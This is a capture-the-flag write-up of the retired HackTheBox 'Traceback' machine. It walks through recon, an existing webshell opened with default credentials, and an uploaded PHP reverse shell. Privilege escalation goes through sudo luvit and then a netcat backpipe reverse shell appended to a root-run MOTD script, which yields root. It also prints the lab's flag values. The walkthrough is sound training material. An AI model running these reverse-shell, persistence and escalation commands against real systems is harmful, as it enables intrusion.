Writeup: Hackthebox Traceback Machine
Note: Only write-ups of retired HTB machines are allowed. The machine in this article, named Traceback, is retired.
1. TLDR
2. Preparation
I have prepared some useful variables:
export IP=10.10.10.181
3. Scanning and Reconnaissance
At the beginning I used nmap to identify open ports:
t4wny0wl@whitehatlab$ nmap -A $IP -T3 -oN 01.nmap.txt -Pn
Nmap scan report for 10.10.10.181
Host is up (0.48s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 96:25:51:8e:6c:83:07:48:ce:11:4b:1f:e5:6d:8a:28 (RSA)
| 256 54:bd:46:71:14:bd:b2:42:a1:b6:b0:2d:94:14:3b:0d (ECDSA)
|_ 256 4d:c3:f8:52:b8:85:ec:9c:3e:4d:57:2c:4a:82:fd:86 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Help us
Aggressive OS guesses: Linux 3.2 - 4.9 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 3.16 (93%), Linux 3.18 (93%), ASUS RT-N56U WAP (Linux 3.4) (93%), Android 4.2.2 (Linux 3.4) (93%), Linux 2.6.32 (92%), Linux 2.6.39 - 3.2 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 8888/tcp)
HOP RTT ADDRESS
1 226.00 ms 10.10.14.1
2 224.00 ms 10.10.10.181
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jun 12 15:37:49 2020 -- 1 IP address (1 host up) scanned in 94.58 seconds
One of the open ports was 80 where the http service was running. So I started gobuster tool to identify interesting resources:
t4wny0wl@whitehatlab$ /opt/gobuster/gobuster dir -u $IP --wordlist=/usr/share/wordlists/directory-list-2.3-medium.txt | tee 02.gobuster.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.181
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/06/13 20:37:55 Starting gobuster
===============================================================
/server-status (Status: 403)
===============================================================
2020/06/13 21:14:31 Finished
===============================================================
While waiting for the gobuster results, I ran the nikto to identify known vulnerabilities:
t4wny0wl@whitehatlab$ nikto -h $IP -nossl
- Nikto v2.1.5
---------------------------------------------------------------------------
+ Target IP: 10.10.10.181
+ Target Hostname: 10.10.10.181
+ Target Port: 80
+ Start Time: 2020-06-13 19:33:20 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.29 (Ubuntu)
+ Server leaks inodes via ETags, header found with file /, fields: 0x459 0x5911796d5b788
+ The anti-clickjacking X-Frame-Options header is not present.
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Allowed HTTP Methods: GET, POST, OPTIONS, HEAD
+ OSVDB-3233: /icons/README: Apache default file found.
+ 6545 items checked: 0 error(s) and 4 item(s) reported on remote host
+ End Time: 2020-06-13 19:45:32 (GMT2) (732 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Unfortunately, the results of scanning with gobuster and nikto did not provide any relevant information. While waiting for the results of these scans, I had a bit of time to look at the source of the page:
I found an interesting fragment here:
<!--Some of the best web shells that you might need ;)-->
What are the “best webshells”? I searched for the comment I found in the Google search engine. The first result was the WebShells repository belonging to the Xh4H user. The same comment could be found in the description of this repository.
So I built a simple dictionary containing the Xh4H user webshell names. Then I ran the gobuster again to reveal the existing webshell:
$ /opt/gobuster/gobuster dir -u $IP -w ./04.wordlist-shells.txt | tee 05.gobuster.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.181
[+] Threads: 10
[+] Wordlist: ./04.wordlist-shells.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/06/13 22:57:48 Starting gobuster
===============================================================
/smevk.php (Status: 200)
===============================================================
2020/06/13 22:57:49 Finished
===============================================================
So there was an instance of the SmEvK webshell on the server.
4. Gaining Access
I visited http://10.10.10.181/smevk.php and logged in with the default username and password (admin: admin). I accessed the backdoor panel as pictured below.
5. Maintaining Access
In order to maintain access to the system, I have prepared my own webshell:
$ cp /usr/share/webshells/php/php-reverse-shell.php ./
In the file php-reverse-shell.php I initialized the variables $ip and $port:
$ip = '10.10.14.207'; // CHANGE THIS
$port = 4444; // CHANGE THIS
Then I uploaded the php-reverse-shell.php file to the server using the SmEvK panel available at http://10.10.10.181/smevk.php
On the attacker’s machine I prepared a netcat:
$ nc -nvlp 4444
and visited http://10.10.10.181/php-reverse-shell.php to establish a connection.
I gained access to the shell …
and upgraded it:
$ SHELL=/bin/bash script -q /dev/null
6. Privilege Escalation: webadmin ⇨ sysadmin
I tried to list the allowed and forbidden commands for the webadmin user:
webadmin@traceback:/$ sudo -l
Password:
Matching Defaults entries for webadmin on traceback:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User webadmin may run the following commands on traceback:
(sysadmin) NOPASSWD: /home/sysadmin/luvit
So I had access to the Lua interpreter (luvit). I went to gtfobins and looked for a way to use it to elevate privileges. So I created and saved a simple script on the target machine:
webadmin@traceback:/$ echo 'os.execute("/bin/sh")' > /dev/shm/lua-shell.lua
So I just had to execute the script…
webadmin@traceback:/$ sudo -u sysadmin /home/sysadmin/luvit /dev/shm/lua-shell.lua
<ysadmin /home/sysadmin/luvit /dev/shm/lua-shell.lua
$
… and as per common practice do a shell upgrade.
SHELL=/bin/bash script -q /dev/null
Ctrl-Z
stty raw -echo
fg
reset
xterm
In the user directory, I could find and read the flag file:
sysadmin@traceback:/$ cat ~/user.txt
47608c5d6cd357005d3c4b42d8878fd8
7. Privilege Escalation: sysadmin ⇨ root
In order to ensure convenient access to machines acquired, I added my public key to the file ```/home/sysadmin/.ssh/authorized_keys``
echo '<public key>' >> /home/sysadmin/.ssh/authorized_keys
The commands sudo -l and find / -perm /4000 2>/dev/null did not provide any useful information. So I tried to send the script linpeas.sh to the target machine:
t4wny0wl@whitehatlab$ cp /opt/privilege-escalation-awesome-scripts-suite/linPEAS/linpeas.sh ./
t4wny0wl@whitehatlab$ scp ./linpeas.sh sysadmin@$IP:/home/sysadmin/linpeas.sh
I connected to the server via ssh:
t4wny0wl@whitehatlab$ ssh sysadmin@$IP
$ SHELL=/bin/bash script -q /dev/null
Then, on the attacked machine, I ran the linpeas.sh script:
$ cd /home/sysadmin/
$ chmod +x linpeas.sh
$ ./linpeas.sh | tee linout.txt
Unfortunately, I did not find anything that would catch my eye on the standard output.
So I looked at the list of processes:
$ ps aux
I found an interesting entry informing about the existence of a shell process that was executing a script with root privileges to restore files unknown to me in the directory /etc/update-motd.d/
root 21477 0.0 0.0 4628 880 ? Ss 15:58 0:00 /bin/sh -c sleep 30 ; /bin/cp /var/backups/.update-motd.d/* /etc/update-motd.d/
I made the assumption that if someone refreshes the existence of these files, they are at least essential or even critical from some point of view. So I checked the linpeas.sh script standard output again:
$ cat /dev/shm/linout.txt | grep update-motd
/etc/update-motd.d/50-motd-news
/etc/update-motd.d/10-help-text
/etc/update-motd.d/91-release-upgrade
/etc/update-motd.d/00-header
/etc/update-motd.d/80-esm
-rwxr-xr-x 1 root root 4264 Aug 25 2019 /var/backups/.update-motd.d/50-motd-news
-rwxr-xr-x 1 root root 982 Aug 27 2019 /var/backups/.update-motd.d/10-help-text
-rwxr-xr-x 1 root root 299 Aug 25 2019 /var/backups/.update-motd.d/91-release-upgrade
-rwxr-xr-x 1 root root 981 Aug 25 2019 /var/backups/.update-motd.d/00-header
-rwxr-xr-x 1 root root 604 Aug 25 2019 /var/backups/.update-motd.d/80-esm
/etc/update-motd.d/50-motd-news
/etc/update-motd.d/10-help-text
/etc/update-motd.d/91-release-upgrade
/etc/update-motd.d/00-header
/etc/update-motd.d/80-esm
There was a suspicion that I might add something to one of the files in /etc/update-motd.d/
But what were these files for? These were the Message of the Day scripts:
sysadmin@traceback:~$ cat /etc/update-motd.d/00-header
#!/bin/sh
#
# 00-header - create the header of the MOTD
# Copyright (C) 2009-2010 Canonical Ltd.
#
# Authors: Dustin Kirkland <kirkland@canonical.com>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License along
# with this program; if not, write to the Free Software Foundation, Inc.,
# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
[ -r /etc/lsb-release ] && . /etc/lsb-release
echo "\nWelcome to Xh4H land \n"
I found interesting information in documentation. There is a fragment there:
Executable scripts in /etc/update-motd.d/* are executed by pam_motd(8)
as the root user at each login(...).
So there was a thought that I could probably run one of the scripts as root while authenticating with ssh. I also had to remember that the files in the directory /etc/update-motd.d/ are restored every 30 seconds.
I prepared three shell windows:
‘root’
I launched netcat:
t4wny0wl@whitehatlab$ nc -nvlp 7777‘ignition’
I just TYPED (without pressing the ‘Enter’ key):
t4wny0wl@whitehatlab$ ssh sysadmin@$IP‘target’ (current shell on the target machine)
I’ve updated the file
/etc/update-motd.d/00-header:sysadmin@traceback:~$ echo 'mknod /dev/shm/backpipe p && /bin/sh 0</dev/shm/backpipe | nc 10.10.14.207 7777 1>/dev/shm/backpipe' >> /etc/update-motd.d/00-header
And then I hit the Enter key in the ignition shell. At this point, a connection has been established in the ‘root’ shell.
I gained root privileges and did a shell upgrade:
SHELL=/bin/bash script -q /dev/null
Ctrl-Z
stty raw -echo
fg
reset
xterm
So I had to look for the flag that was under the path /root/root.txt
root@traceback:/# cat /root/root.txt
fce553ce0fe469fcabf60b316d6812ed
8. Summary
The following circumstances led to the capture of the flags:
- There was a previously embedded webshell on the http server
- Access to webshell was protected with default credentials
- The webadmin user may have run the Lua interpreter (luvit) as the sysadmin user
- Non-root user could modify MotD scripts in /etc/update-motd.d